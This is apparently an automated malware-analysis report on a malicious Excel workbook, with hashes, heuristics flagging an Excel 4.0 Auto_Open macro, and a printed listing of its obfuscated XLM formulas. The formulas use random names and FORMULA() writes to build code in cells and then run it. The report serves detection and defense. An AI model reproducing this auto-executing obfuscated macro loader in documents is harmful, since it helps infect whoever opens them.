Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 968ecc0941630f26…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:34:55 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 58542c81a2032ae05403179a94114968 SHA-1: 972785b9df4d2ad3154f3e0de864d2e47e0c72c6 SHA-256: 968ecc0941630f26ccb4d5da483b26f48562ac75d5bbd7f1e009a4db5bab326f
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6512 bytes
SHA-256: b00cd9906f8915dea689f748831589d6e9a86fc3cc30e508982280848830da5a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  uDACQrxA
' 0018     21 LABEL : Cell Value, String Constant - aDjPvS len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G194 
' 0018     24 LABEL : Cell Value, String Constant - CtIWJVQiH len=0 
' 0018     20 LABEL : Cell Value, String Constant - CukAe len=0 
' 0018     22 LABEL : Cell Value, String Constant - DExRSxY len=0 
' 0018     23 LABEL : Cell Value, String Constant - dqEFKpkj len=0 
' 0018     21 LABEL : Cell Value, String Constant - dxyiMV len=0 
' 0018     24 LABEL : Cell Value, String Constant - eWTHKYbur len=0 
' 0018     27 LABEL : Cell Value, String Constant - hJnRgzqSLKSB len=0 
' 0018     21 LABEL : Cell Value, String Constant - hQgXui len=0 
' 0018     20 LABEL : Cell Value, String Constant - iMxEb len=0 
' 0018     22 LABEL : Cell Value, String Constant - ioKYxeZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - IoZmuBi len=0 
' 0018     24 LABEL : Cell Value, String Constant - izxTDirwN len=0 
' 0018     24 LABEL : Cell Value, String Constant - KkdWLbsOZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - LknsJwkfzAtY len=0 
' 0018     27 LABEL : Cell Value, String Constant - NNwjuAEPjfOe len=0 
' 0018     20 LABEL : Cell Value, String Constant - NYDec len=0 
' 0018     22 LABEL : Cell Value, String Constant - usWJGmT len=0 
' 0018     21 LABEL : Cell Value, String Constant - viVLYg len=0 
' 0018     25 LABEL : Cell Value, String Constant - XrdkLUfcCR len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  uDACQrxA,G97,"SET.NAME("DExRSxY",VALUE("0"))",""
'  uDACQrxA,G101,"SET.NAME("hJnRgzqSLKSB",DExRSxY)",""
'  uDACQrxA,G105,"SET.NAME("CtIWJVQiH",DExRSxY)",""
'  uDACQrxA,G109,"SET.NAME("hQgXui",COUNTA(aDjPvS))",""
'  uDACQrxA,G111,"SET.NAME("CukAe",COUNTA(ioKYxeZ))",""
'  uDACQrxA,G116,[],""
'  uDACQrxA,G121,"SET.NAME("viVLYg","")",""
'  uDACQrxA,G124,"hJnRgzqSLKSB",""
'  uDACQrxA,G128,"SET.NAME("KkdWLbsOZ",HLOOKUP("*",aDjPvS,hJnRgzqSLKSB,FALSE))",""
'  uDACQrxA,G130,"izxTDirwN",""
'  uDACQrxA,G134,"SET.NAME("NNwjuAEPjfOe",DExRSxY)",""
'  uDACQrxA,G136,[],""
'  uDACQrxA,G139,"NNwjuAEPjfOe",""
'  uDACQrxA,G144,"XrdkLUfcCR",""
'  uDACQrxA,G147,"eWTHKYbur",""
'  uDACQrxA,G151,"IoZmuBi",""
'  uDACQrxA,G156,"SET.NAME("iMxEb",VALUE(HLOOKUP("*",ioKYxeZ,IoZmuBi,FALSE)))",""
'  uDACQrxA,G158,"LknsJwkfzAtY",""
'  uDACQrxA,G163,"viVLYg",""
'  uDACQrxA,G167,"CtIWJVQiH",""
'  uDACQrxA,G171,NEXT(),""
'  uDACQrxA,G176,"usWJGmT",""
'  uDACQrxA,G180,"SET.NAME("f",INT(T(FORMULA(T(viVLYg)&"",""&T(usWJGmT)))))",""
'  uDACQrxA,G184,"dxyiMV",""
'  uDACQrxA,G188,NEXT(),""
'  uDACQrxA,G192,RETURN(),""
'  uDACQrxA,G220,"SET.NAME("dqEFKpkj",G97)",""
'  uDACQrxA,G225,"aDjPvS",""
'  uDACQrxA,G228,"SET.NAME("ioKYxeZ",R67C12)",""
'  uDACQrxA,G232,"SET.NAME("dxyiMV",240)",""
'  uDACQrxA,G235,"SET.NAME("NYDec",7)",""
'  uDACQrxA,G239,dqEFKpkj(),""
'  uDACQrxA,G240,HALT(),""

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